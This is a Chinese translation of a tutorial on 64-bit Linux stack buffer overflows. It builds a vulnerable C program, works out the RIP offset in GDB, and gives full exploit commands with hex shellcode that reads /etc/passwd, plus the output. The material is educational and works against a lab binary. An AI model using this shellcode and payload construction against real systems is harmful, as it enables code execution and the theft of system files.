64位Linux下的棧溢位

wyzsk發表於2020-08-19
作者: f0r · 2014/06/16 17:06

from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf


本文的目的是讓大家學到64位緩衝區溢位的基礎知識。 作者Mr.Un1k0d3r RingZer0 Team

摘要

0x01 x86和x86_64的區別
0x02 漏洞程式碼片段
0x03 觸發溢位
0x04 控制RIP
0x05 跳入使用者控制的緩衝區
0x06 執行shellcode
0x07 GDB vs 現實
0x08 結語

0x01 x86和x86_64的區別


第一個主要區別就是記憶體地址的大小。這沒啥可驚奇的: 不過即便記憶體地址有64位長使用者空間也只能使用前47位要牢記這點因為當你指定一個大於0x00007fffffffffff的地址時會丟擲一個異常。那也就意味著0x4141414141414141會丟擲異常而0x0000414141414141是安全的。當你在進行模糊測試或編寫利用程式的時候我覺得這是個很巧妙的部分。

事實上還有很多其他的不同但是考慮到本文的目的不瞭解所有的差異也沒關係。

0x02 漏洞程式碼片段


#!cpp
int main(int argc, char **argv) { 
      char buffer[256];
      if(argc != 2) {
            exit(0);
      }
      printf("%p\n", buffer);
      strcpy(buffer,  argv[1]);
      printf("%s\n", buffer);
      return 0;
}

為了節省漏洞利用的時間我決定列印緩衝區指標地址。

你可以用gcc編譯上述程式碼。

#!bash
$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector

這樣就一切妥當了。

0x03 觸發溢位


首先我們來確認一下確實可以讓這個程式崩潰。

#!cpp
$ ./bof $(python -c 'print "A" * 300')
0x7fffffffdcd0 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

好來確認一下我們控制的RIP指令指標

enter image description here

你可以透過stepi單步執行來過一遍程式流程譯者應該用ni比較合適。 當過了strcpy呼叫(0x40066c)之後你會發現當前緩衝區指標指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環境變數和其他東西造成的。不過現在我們不關心之後會解決的。 重要的說明* 在之後的內容中當我提到leave指令時就是指的上面的地址0x400685。 最後這是strcpy過後的棧

#!bash
(gdb) x/20xg $rsp 
0x7fffffffdc80: 0x00007fffffffde78 0x00000002f7ffe520 
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141 
0x7fffffffdca0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdce0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141 
0x7fffffffdd00: 0x4141414141414141 0x4141414141414141 
0x7fffffffdd10: 0x4141414141414141 0x4141414141414141 

接著主函式(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子

#!bash
(gdb) x/20xg $rsp 
0x7fffffffdd98: 0x4141414141414141 0x4141414141414141 
0x7fffffffdda8: 0x4141414141414141 0x4141414141414141 
0x7fffffffddb8: 0x0000000041414141 0x0000000000000000 
0x7fffffffddc8: 0xa1c4af9213d095db 0x0000000000400520 
0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000 
0x7fffffffdde8: 0x0000000000000000 0x5e3b506da89095db 
0x7fffffffddf8: 0x5e3b40d4af2a95db 0x0000000000000000 
0x7fffffffde08: 0x0000000000000000 0x0000000000000000 
0x7fffffffde18: 0x0000000000400690 0x00007fffffffde78 
0x7fffffffde28: 0x0000000000000002 0x0000000000000000 
(gdb) stepi 
Program received signal SIGSEGV, Segmentation fault.

好極了我們有SIGSEGV的時機去檢視當前暫存器的值。

#!bash
(gdb) i r 
rax     0x0     0 
rbx     0x0     0 
rcx     0xffffffffffffffff  -1  
rdx     0x7ffff7dd59e0 140737351866848 
rsi     0x7ffff7ff7000 140737354100736 
rdi     0x1     1 
rbp     0x4141414141414141 0x4141414141414141 
rsp     0x7fffffffdd98  0x7fffffffdd98 
r8      0x4141414141414141 4702111234474983745 
r9      0x4141414141414141 4702111234474983745 
r10     0x4141414141414141 4702111234474983745 
r11     0x246 582 
r12     0x400520 4195616 
r13     0x7fffffffde70 140737488346736 
r14     0x0     0 
r15     0x0     0 
rip     0x400686 0x400686 <main+121> 
eflags  0x10246  [ PF ZF IF RF ] 
cs      0x33    51 
ss      0x2b    43 
ds      0x0     0 
es      0x0     0 
fs      0x0     0 
gs      0x0     0 

(gdb) stepi 
Program terminated with signal SIGSEGV, Segmentation fault. 
The program no longer exists. 

好了程式就這樣結束了我們沒能控制RIP為什麼因為我們覆蓋了太多位記得最大的地址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢位了。

0x04 控制RIP


我們發現了個小問題不過只要是問題總有辦法解決的我們可以用個小一點的緩衝區去溢位這樣指向rsp的地址就會像0x0000414141414141一樣了。 透過簡單的數學運算就可以很輕鬆地算出我們緩衝區的大小。我們知道緩衝區開始於0x7fffffffdc90。Leave指令之後rsp將指向0x7fffffffdd98。

0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十進位制的264

知道了這些我們可以把溢位載荷修改成這樣

"A" * 264 + "B" * 6

rsp指向的地址應該像0x0000424242424242一樣正常了。那樣就能控制RIP。

#!bash
$ gdb -tui bof 
(gdb) set disassembly-flavor intel 
(gdb) layout asm 
(gdb) layout regs 
(gdb) break main 
(gdb) run $(python -c 'print "A" * 264 + "B" * 6') 

這次我們直接看呼叫leave指令後的狀況。 這是leave指令執行後的棧

#!bash
(gdb) x/20xg $rsp 
0x7fffffffddb8: 0x0000424242424242 0x0000000000000000 
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000 
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000 
0x7fffffffdde8: 0x2a283aca5f708a47 0x0000000000400520 
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000 
0x7fffffffde08: 0x0000000000000000 0xd5d7c535e4f08a47 
0x7fffffffde18: 0xd5d7d58ce38a8a47 0x0000000000000000 
0x7fffffffde28: 0x0000000000000000 0x0000000000000000 
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98 
0x7fffffffde48: 0x0000000000000002 0x0000000000000000 

這是leave指令執行後暫存器的值

#!bash
(gdb) i r 
rax     0x0     0 
rbx     0x0     0 
rcx     0xffffffffffffffff  -1 
rdx     0x7ffff7dd59e0 140737351866848 
rsi     0x7ffff7ff7000 140737354100736 
rdi     0x1     1 
rbp     0x4141414141414141 0x4141414141414141 
rsp     0x7fffffffddb8  0x7fffffffddb8 
r8      0x4141414141414141 4702111234474983745 
r9      0x4141414141414141 4702111234474983745 
r10     0x4141414141414141 4702111234474983745 
r11     0x246 r12 0x400520 4195616 
r13     0x7fffffffde90 140737488346768 
r14     0x0     0 
r15     0x0     0 
rip     0x400686 0x400686 <main+121>  
eflags  0x246 [ PF ZF IF ] 
cs      0x33    51 
ss      0x2b    43 
ds      0x0     0 
es      0x0     0 
fs      0x0     0 
gs      0x0     0 

rsp指向0x7fffffffddb8而0x7fffffffddb8的內容就是0x0000424242424242。看來一切正常是時候執行ret指令了。

#!bash
(gdb) stepi 
Cannot access memory at address 0x424242424242 
Cannot access memory at address 0x424242424242 
(gdb) i r 
rax     0x0     0 
rbx     0x0     0 
rcx     0xffffffffffffffff  -1 
rdx     0x7ffff7dd59e0 140737351866848 
rsi     0x7ffff7ff7000 140737354100736 
rdi     0x1     1 
rbp     0x4141414141414141   0x4141414141414141 
rsp     0x7fffffffddc0  0x7fffffffddc0 
r8      0x4141414141414141 4702111234474983745 
r9      0x4141414141414141 4702111234474983745 
r10     0x4141414141414141 4702111234474983745 
r11     0x246   582 
r12     0x400520 4195616 
r13     0x7fffffffde90 140737488346768 
r14     0x0     0 
r15     0x0     0 
rip     0x424242424242  0x424242424242 
eflags  0x246 [ PF ZF IF ] 
cs      0x33    51 
ss      0x2b    43 
ds      0x0     0 
es      0x0     0 
fs      0x0     0 
gs      0x0     0 

我們最終控制了rip

0x05 跳入使用者控制的緩衝區


事實上這部分內容沒什麼特別的或者新的東西你只需要指向你控制的緩衝區開頭。也就是第一個printf顯示出來的值在這裡是0x7fffffffdc90。透過gdb也可以很容易地重新獲得這個值你只需在呼叫strcpy之後顯示棧。

#!bash
(gdb) x/4xg $rsp 
0x7fffffffdc80: 0x00007fffffffde98 0x00000002f7ffe520 
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141 

是時候更新我們的載荷了。新的載荷看起來像這樣

"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1] 

因為是小端結構所以我們需要把記憶體地址反序。這就是python語句[::-1]所實現的。

確認下我們跳入正確的地址。

#!bash
$ gdb -tui bof 
(gdb) set disassembly-flavor intel 
(gdb) layout asm 
(gdb) layout regs 
(gdb) break main 
(gdb) run $(python -c 'print "A" * 264 +  
"\x7f\xff\xff\xff\xdc\x90"[::-1]') 
(gdb) x/20xg $rsp 
0x7fffffffddb8: 0x00007fffffffdc90  0x0000000000000000 
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000 
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000 
0x7fffffffdde8: 0xe72f39cd325155ac 0x0000000000400520 
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000 
0x7fffffffde08: 0x0000000000000000 0x18d0c63289d155ac 
0x7fffffffde18: 0x18d0d68b8eab55ac 0x0000000000000000 
0x7fffffffde28: 0x0000000000000000 0x0000000000000000 
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98 
0x7fffffffde48: 0x0000000000000002 0x0000000000000000 

這是執行leave指令後的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的內容是0x00007fffffffdc90。最後0x00007fffffffdc90指向我們控制的緩衝區。

(gdb) stepi 

ret指令執行後rip指向0x7fffffffdc90這意味著我們跳入了正確的位置。

0x06 執行shellcode


在這個例子中我準備用個定製的shellcode去讀/etc/passwd的內容。

#!bash
BITS 64 
; Author Mr.Un1k0d3r - RingZer0 Team 
; Read /etc/passwd Linux x86_64 Shellcode 
; Shellcode size 82 bytes 
global _start 
section .text 
_start: 
    jmp _push_filename 

_readfile: 
    ; syscall open file 
    pop rdi   ; pop path value 
    ; NULL byte fix 
    xor byte [rdi + 11], 0x41 

    xor rax, rax 
    add al, 2 
    xor rsi, rsi  ; set O_RDONLY flag 
    syscall 

    ; syscall read file 
    sub sp, 0xfff 
    lea rsi, [rsp] 
    mov rdi, rax 
    xor rdx, rdx 
    mov dx, 0xfff   ; size to read 
    xor rax, rax 
    syscall 

    ; syscall write to stdout 
    xor rdi, rdi 
    add dil, 1 ; set stdout fd = 1 
    mov rdx, rax 
    xor rax, rax 
    add al, 1 
    syscall 

    ; syscall exit 
    xor rax, rax 
    add al, 60 
    syscall 

_push_filename: 
    call _readfile 
    path: db "/etc/passwdA" 

接下來彙編這個檔案然後提取shellcode。

#!bash
$ nasm -f elf64 readfile.asm -o readfile.o 
$ for i in $(objdump  -d readfile.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6 
6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x 
0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\ 
xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f 
\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 

這個shellcode長82位元組。來構造最終的載荷吧。

原來的載荷

#!bash
$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]') 

我們要保證一樣的大小所以264 - 82 = 182

#!bash
$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]') 

然後把shellcode接在開頭

#!bash
$(python -c 'print  
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x 
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\ 
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31 
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2 
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  
"\x7f\xff\xff\xff\xdc\x90"[::-1]') 

來把所有東西一塊兒測試

#!bash
$ gdb –tui bof 
(gdb) run $(python -c 'print  
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x 
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\ 
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31 
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2 
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  
"\x7f\xff\xff\xff\xdc\x90"[::-1]') 

如果一切正常你就會看到/etc/passwd的內容。要注意記憶體地址是可以變化的這樣可能就和我這裡的不同了。

0x07 GDB vs 現實


因為gdb會初始化一些變數和其他的東西所以如果你試著在gdb之外使用同樣的利用指令碼就會失敗。不過在這個例子中我加了個對printf的呼叫來輸出緩衝區指標。這樣我們就可以很容易地找到正確的值並且在真實的環境中獲得地址。

這是使用我們在gdb中找到的值的真實版本

#!bash
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31 
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34 
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05 
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f 
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74 
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  
"\x7f\xff\xff\xff\xdc\x90"[::-1]') 
0x7fffffffdcf0 
?_w 

[email protected]< 
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAA• 
Illegal instruction (core dumped) 

很顯然利用不成功。因為地址已經從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點printf的輸出我們只需用正確的值調整一下載荷。

#!bash
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31 
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34 
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05 
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f 
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74 
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  
"\x7f\xff\xff\xff\xdc\xf0"[::-1]') 
0x7fffffffdcf0 
?_w 

[email protected]< 
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAA• 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 

換成正確的值之後利用一切正常。

0x08 結語


希望你們能喜歡這篇關於Linux下x86_64緩衝區溢位的文章,有很多關於x86溢位的文章了,但64位的溢位比較少見。

祝你們拿到好多好多shell!

感謝

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章